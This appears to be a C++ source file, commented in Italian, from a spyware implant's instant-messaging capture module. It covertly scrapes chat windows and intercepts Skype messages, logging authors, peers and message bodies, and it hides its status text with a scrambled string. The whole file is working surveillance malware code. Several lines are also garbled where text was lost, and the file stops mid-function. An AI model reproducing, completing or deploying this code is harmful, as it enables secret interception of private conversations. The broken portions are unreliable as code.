#include "HM_IMAgent\QMessengerAgent.h" extern WCHAR *UTF8_2_UTF16(char *str); // in firefox.cpp extern void StartSocialCapture(); // Per far partire le opzioni "social" #define IM_CAPTURE_INTERVAL 333 // in millisecondi // Dichiarato nella shared per farlo vedere dall'host "social" //BOOL bPM_IMStarted = FALSE; // Flag che indica se il monitor e' attivo o meno BOOL bPM_imcp = FALSE; // Semaforo per l'uscita del thread HANDLE hIMThread = NULL; BOOL bPM_imspmcp = FALSE; // Semaforo per l'uscita del thread HANDLE hIMSkypePMThread = NULL; #define SKYPE_MESSAGE_BACKLOG 1500 typedef struct im_skype_message_struct { BOOL in_use; DWORD direction; #define SKYPE_MSG_OUT 2 #define SKYPE_MSG_IN 1 #define SKYPE_MSG_NO 0 char *message_id; // I seguenti sono in UTF8 char *author; char *peers; char *topic; char *body; } im_skype_message_entry; im_skype_message_entry *im_skype_message_list = NULL; // Logga il contenuto delle finestre di IM void GetIM(QMessengerAgent *ma, BOOL bDontLog) { PWCHAR wHistory; UINT i; ma->UpdateWindowList(); for(i = 0; i < ma->GetListLength(); i++, ma->Next()){ if(ma->IsUpdated()){ if ( (wHistory = ma->GetHistory()) == NULL ) continue; bin_buf tolog; struct tm tstamp; DWORD delimiter = ELEM_DELIMITER; GET_TIME(tstamp); if(!bDontLog){ tolog.add(&tstamp, sizeof(tstamp)); tolog.add(ma->GetMessengerName(), (wcslen(ma->GetMessengerName())+1)*sizeof(WCHAR)); tolog.add(ma->GetTopic(), (wcslen(ma->GetTopic())+1)*sizeof(WCHAR)); tolog.add(ma->GetUsers(), (wcslen(ma->GetUsers())+1)*sizeof(WCHAR)); tolog.add(wHistory, (wcslen(wHistory)+1)*sizeof(WCHAR)); tolog.add(&delimiter, sizeof(DWORD)); LOG_ReportLog(PM_IMAGENT, tolog.get_buf(), tolog.get_len()); } ma->ChatAcquired(); } } } void SEHTranslatorFunction(UINT code, struct _EXCEPTION_POINTERS *) { throw(0); } DWORD WINAPI IMCaptureThread(DWORD dummy) { QMessengerAgent ma; BOOL bLog = TRUE; _set_se_translator(SEHTranslatorFunction); LOOP { try { GetIM(&ma, bLog); } catch(int) {} for (int i=0; i<3; i++) { RET_CANCELLATION_POINT(bPM_imcp); Sleep(IM_CAPTURE_INTERVAL); } RET_CANCELLATION_POINT(bPM_imcp); bLog = FALSE; } } void FreeSkypeMessageEntry(im_skype_message_entry *skentry) { SAFE_FREE(skentry->body); SAFE_FREE(skentry->message_id); SAFE_FREE(skentry->peers); SAFE_FREE(skentry->author); SAFE_FREE(skentry->topic); skentry->in_use = FALSE; } BOOL CheckCompleteEntry(im_skype_message_entry *skentry) { if (skentry->body && skentry->peers && skentry->topic && skentry->author) return TRUE; return FALSE; } void FreeSkypeMessageList(im_skype_message_entry *skarray) { DWORD i; for (i=0; ibody[0]) return; topic = UTF8_2_UTF16(skentry->topic); peers = UTF8_2_UTF16(skentry->peers); body = UTF8_2_UTF16(skentry->body); author = UTF8_2_UTF16(skentry->author); if (peers && body && author) { if (skentry->direction == SKYPE_MSG_IN) flags |= 0x01; tolog.add(&tstamp, sizeof(tstamp)); tolog.add(&program, sizeof(DWORD)); tolog.add(&flags, sizeof(DWORD)); tolog.add(author, (wcslen(author)+1)*sizeof(WCHAR)); tolog.add(author, (wcslen(author)+1)*sizeof(WCHAR)); tolog.add(peers, (wcslen(peers)+1)*sizeof(WCHAR)); tolog.add(peers, (wcslen(peers)+1)*sizeof(WCHAR)); tolog.add(body, (wcslen(body)+1)*sizeof(WCHAR)); tolog.add(&delimiter, sizeof(DWORD)); LOG_ReportLog(PM_IMAGENT_SKYPENEW, tolog.get_buf(), tolog.get_len()); } SAFE_FREE(topic); SAFE_FREE(peers); SAFE_FREE(body); SAFE_FREE(author); } DWORD __stdcall PM_IMDispatch(BYTE *msg, DWORD dwLen, DWORD dwFlags, FILETIME *time_nanosec) { DWORD i, dummy; COPYDATASTRUCT cd_struct; char req_buf[512]; // Se il monitor e' stoppato o i parametri non vanno bene, non esegue la funzione di dispatch if (!bPM_IMStarted || !msg || !im_skype_message_list) return 0; if (dwFlags == FLAGS_SKAPI_INI) { // Azzera tutta la lista (mettendo anche a FALSE tutti i flag in_use) FreeSkypeMessageList(im_skype_message_list); return 1; } if (dwFlags == FLAGS_SKAPI_WND) { ScrambleString ss("_ OEPUvEtUPC yO Hdldl1.............QM\r\n", is_demo_version); // "- Monitoring IM queues.............OK\r\n" REPORT_STATUS_LOG(ss.get_str()); skype_api_wnd = *((HWND *)msg); return 1; } if (dwFlags == FLAGS_SKAPI_SWD) { skype_pm_wnd = *((HWND *)msg); return 1; } // Per proseguire devo aver gia' intercettato le finestre if (!skype_api_wnd || !skype_pm_wnd) return 0; if (dwFlags == FLAGS_SKAPI_MSG) { NullTerminatePacket(dwLen, msg); // Se e' una notifica di messaggio... if (!strncmp((char *)msg, "CHATMESSAGE ", strlen("CHATMESSAGE ")) || !strncmp((char *)msg, "MESSAGE ", strlen("MESSAGE "))) { DWORD direction; char *msg_ptr, *message_id; if (msg_ptr = strstr((char *)msg, " STATUS SENDING")) { direction = SKYPE_MSG_OUT; *msg_ptr = 0; } else if (msg_ptr = strstr((char *)msg, " STATUS RECEIVED")) { direction = SKYPE_MSG_IN; *msg_ptr = 0; } else return 0; if (!strncmp((char *)msg, "CHATMESSAGE ", strlen("CHATMESSAGE "))) message_id = (char *)msg + strlen("CHATMESSAGE "); else message_id = (char *)msg + strlen("MESSAGE "); // Verifica che non ci sia gia' questo messaggio in lista for (i=0; i